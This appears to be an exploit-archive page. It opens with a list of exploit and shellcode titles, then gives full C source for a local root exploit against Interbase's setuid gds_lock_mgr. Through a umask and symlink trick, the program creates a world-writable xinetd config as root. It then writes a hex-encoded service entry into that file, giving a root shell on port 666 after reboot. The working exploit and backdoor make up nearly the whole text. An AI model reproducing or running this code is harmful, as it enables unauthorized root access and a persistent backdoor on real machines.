880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
68 lines
No EOL
2.2 KiB
C
68 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/5805/info
|
|
|
|
Interbase is a SQL database distributed and maintained by Borland. It is available for Unix and Linux operating systems.
|
|
|
|
The gds_lock_mgr program within Interbase is typically installed setuid. This program does not properly handle user-supplied umasks, and may allow the creation of files with insecure permissions as a privileged user.
|
|
|
|
|
|
// gds_lock_mgr easy local root compromise
|
|
// All cobalt Linux affected, and certain mandrake installations.
|
|
// Wouter ter Maat aka grazer - http://www.i-security.nl
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/utsname.h>
|
|
|
|
#define BDPATH "/etc/xinetd.d/xinetdbd"
|
|
#define GDSBIN "/opt/interbase/bin/gds_lock_mgr"
|
|
|
|
int main() {
|
|
|
|
struct utsname buf;
|
|
char path[24], lnc[34];
|
|
|
|
FILE *fd;
|
|
|
|
/* check for a rootshell on port 666 after the machine has rebooted.
|
|
* exploit written to work on a raq550 using xinetd
|
|
*/
|
|
|
|
char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
|
|
"\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x20"
|
|
"\x6e\x6f\n\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x3d\x20\x36"
|
|
"\x36\x36\n\x73\x6f\x63\x6b\x65\x74\x5f\x74\x79\x70\x65\x20"
|
|
"\x3d\x20\x73\x74\x72\x65\x61\x6d\n\x77\x61\x69\x74\x20\x3d"
|
|
"\x20\x6e\x6f\n\x75\x73\x65\x72\x20\x3d\x20\x72\x6f\x6f\x74"
|
|
"\n\x73\x65\x72\x76\x65\x72\x20\x3d\x20\x2f\x62\x69\x6e\x2f"
|
|
"\x73\x68\n\x73\x65\x72\x76\x65\x72\x5f\x61\x72\x67\x73\x20"
|
|
"\x3d\x20\x2d\x69\n\x7d\n";
|
|
|
|
fprintf(stdout, "*** gds_lock_mgr local root exploit - grazer ***\n");
|
|
|
|
uname(&buf);
|
|
setenv("INTERBASE", "/tmp", 1);
|
|
sprintf(path, "%s", "/tmp/isc_init1.");
|
|
strcat(path, buf.nodename);
|
|
|
|
chdir("/tmp");
|
|
umask(000);
|
|
|
|
sprintf(lnc, "ln %s -s %s", BDPATH, path);
|
|
system(lnc);
|
|
|
|
if(fd=fopen(GDSBIN, "r")) {
|
|
system(GDSBIN); close(fd); }
|
|
else {
|
|
fprintf(stderr, "%s not found...\n", GDSBIN);
|
|
exit(0); }
|
|
|
|
if(fd=fopen(BDPATH, "w")) {
|
|
fprintf(stderr," exploit succesfull...\n");
|
|
fprintf(fd, "%s", hexbd); close(fd);}
|
|
else {
|
|
fprintf(stderr, "exploit failed...\n");
|
|
exit(0); }
|
|
|
|
} |